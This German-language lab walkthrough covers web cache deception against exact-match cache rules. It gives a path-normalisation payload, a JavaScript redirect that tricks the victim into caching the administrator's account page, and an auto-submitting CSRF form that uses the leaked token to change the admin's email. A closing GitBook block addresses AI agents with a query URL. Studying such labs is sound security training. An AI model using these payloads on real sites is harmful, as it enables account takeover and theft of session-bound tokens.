> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md).

# Web-Cache-Täuschung mit Exakt-Match-Regeln

### Ausnutzen von Exact-Match-Cache-Regeln für Web Cache Deception

#### Ziel des Labs

* Benutzer-E-Mail-Adresse ändern **Administrator**.
* Verbindung verfügbar: **wiener:peter**.
* Es wird eine Liste von Trennzeichen bereitgestellt: Trennzeichenliste des Web-Cache-Deception-Labors.

<figure><img src="/files/731c397af99232cb9a61f9b869db33d48db41660" alt=""><figcaption></figcaption></figure>

#### Beobachteter Kontext

* Ein **Mein Konto**, gibt es ein Feld zum Ändern der E-Mail.
* Die gesendete Anfrage sieht so aus:

```bash
email=test%40test.com&csrf=Bfo2p16Es7RG8W0XBZxAJSuyJKOHbK0a
```

#### Trennzeichentests

<figure><img src="/files/7635d47e195046860d97787cdf70f4531fee6679" alt=""><figcaption></figcaption></figure>

* Beim Testen der Zeichen aus der Liste akzeptiert die Website insbesondere:
* der **Semikolon** `;`
* der **Fragezeichen** `?`

Klassische Angriffe funktionieren in diesem Labor nicht.

<figure><img src="/files/69db7ceaef9f5c1d73583f75bc784f954f57b1ca" alt=""><figcaption></figcaption></figure>

#### Entdeckung einer versteckten Ressource

* Von **Ziel -> Sitemap**, verwende **Inhalt entdecken**.

<figure><img src="/files/e58fc0aca28691fce300433600170bbd0aad9ac4" alt=""><figcaption></figcaption></figure>

* Eine **robots-Datei. txt** erscheint und ist \*\*zwischengespeichert\*\*.

<figure><img src="/files/a67a0fc89602caca610bf64e83f4307a885186d7" alt=""><figcaption></figcaption></figure>

#### Cache-Aufnahme durch Normalisierung (exakter Pfad + Umleitung)

Zweck: Den Cache dazu zwingen, eine sensible Antwort zu speichern, indem sie wie eine versteckte Ressource aussieht.

Verwendete Anwendungen:

```bash
GET /my-account;/../robots.txt
# Kodierte Version
GET /my-account;%2f%2e%2e%2frobots.txt
```

<figure><img src="/files/e0404f48de297c94edf847159a24d499d0f10596" alt=""><figcaption></figcaption></figure>

#### Exploit an das Opfer gesendet

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt";
</script>
```

{% endcode %}

Ergebnis:

* Die zurückgegebene Seite entspricht dem **Administratorkonto**.

<figure><img src="/files/5451e304a952e89b8a6af0c5e0006f3f752eacca" alt=""><figcaption></figcaption></figure>

In der Antwort erhalten wir das **CSRF-Token** aus dem E-Mail-Formular, zum Beispiel:

```html
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5">
<button class='button' type='submit'> E-Mail aktualisieren </button>
```

#### Geplanter Endschritt

* Verwenden Sie dieses Token, um ein **PoC-CSRF** um eine **POST** Anfrage an die **Mein Konto** Seite zum Ändern der E-Mail zu senden und so die **Administrator** E-Mail zu ändern.

<figure><img src="/files/cadf2d24493d1c82060ebc219e2132d0c86016a8" alt=""><figcaption></figcaption></figure>

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
